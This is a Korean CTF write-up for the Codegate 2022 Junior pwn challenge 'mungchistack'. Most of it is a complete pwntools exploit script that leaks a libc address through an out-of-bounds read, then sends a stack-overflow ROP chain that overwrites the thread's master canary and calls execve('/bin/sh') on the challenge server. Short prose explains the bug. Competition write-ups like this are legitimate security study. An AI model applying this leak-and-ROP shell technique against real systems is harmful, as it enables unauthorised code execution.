[CTF write up] Codegate CTF 2022 Junior - mungchistak : PTR Overwrite

2022. 2. 27. 18:01CTF write up

from pwn import *

def event1():
    for i in range(0,7):
        p.sendlineafter(b'>',b'1')
        p.sendlineafter(b'>',b'2')
        p.sendlineafter(b'>',b'3')

def event2():
    p.sendlineafter(b'>',b'1')
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'>',b'3')

#p = process('mungchistack')
p = remote('3.39.32.143',5333)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.sendline(b'a')

event2()


p.sendline(b'12')

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
system = lic + 0x59520
print(f'system : {hex(system)}')
libc_base = system - 0x55410
execve = libc_base +0xe62f0

raw_input()
event1()
p.sendline(b'0')

payload = b'a'*0x68
payload += p64(0x0000000000401d53) # rdi
payload += p64(libc_base + list(libc.search(b"/bin/sh"))[0])
payload += p64(0x000000000040101a)
payload += p64(execve)
payload += b'a'*(0x900)
p.sendline(payload)

p.interactive()

 

 

 

 

 

Thread를 이용하는 바이너리다. 특정 조건에서 두개의 이벤트 함수를 실행시킬 수 있는데 eventHunt 함수에서는 OBB가 터지기 때문에 임의의 주소 읽기로 libc를 유출할 수 있다. eventCall 함수는 에서는 다음 부분에서 문제가 발생한다.

 

해당 조건문을 통과하기 위해서는 2가 아니라 0을써도 된다. 0을 이용하여 조건문을 통과 했을때 name[idx-1] = 0LL에서 OBB가 일어나 원래라면 eventCall 함수 RET에서 0x1060정도 떨어진 곳의 주소가 name에 들어가야하는 것이 0x68 정도 떨어진 주소가 들어가게 된다.

 

스택 오버플로우를 통해 ROP로 execve 함수를 실행시켜주었다. 이때 해당 함수를 thread를 통해 실행된 함수이기 때문에 스택에 존재하는 마스터 카나리를 덮어씌워서 메모리 보호 기법 카나리를 우회할 수 있다. 이때 정확히 어느 부분이 마스터 카나리인지는 확인할 수 없었지만 오버플로우가 매우 크게 일어나기 때문에 상단 값을 전부 덮어씌워서 풀었다.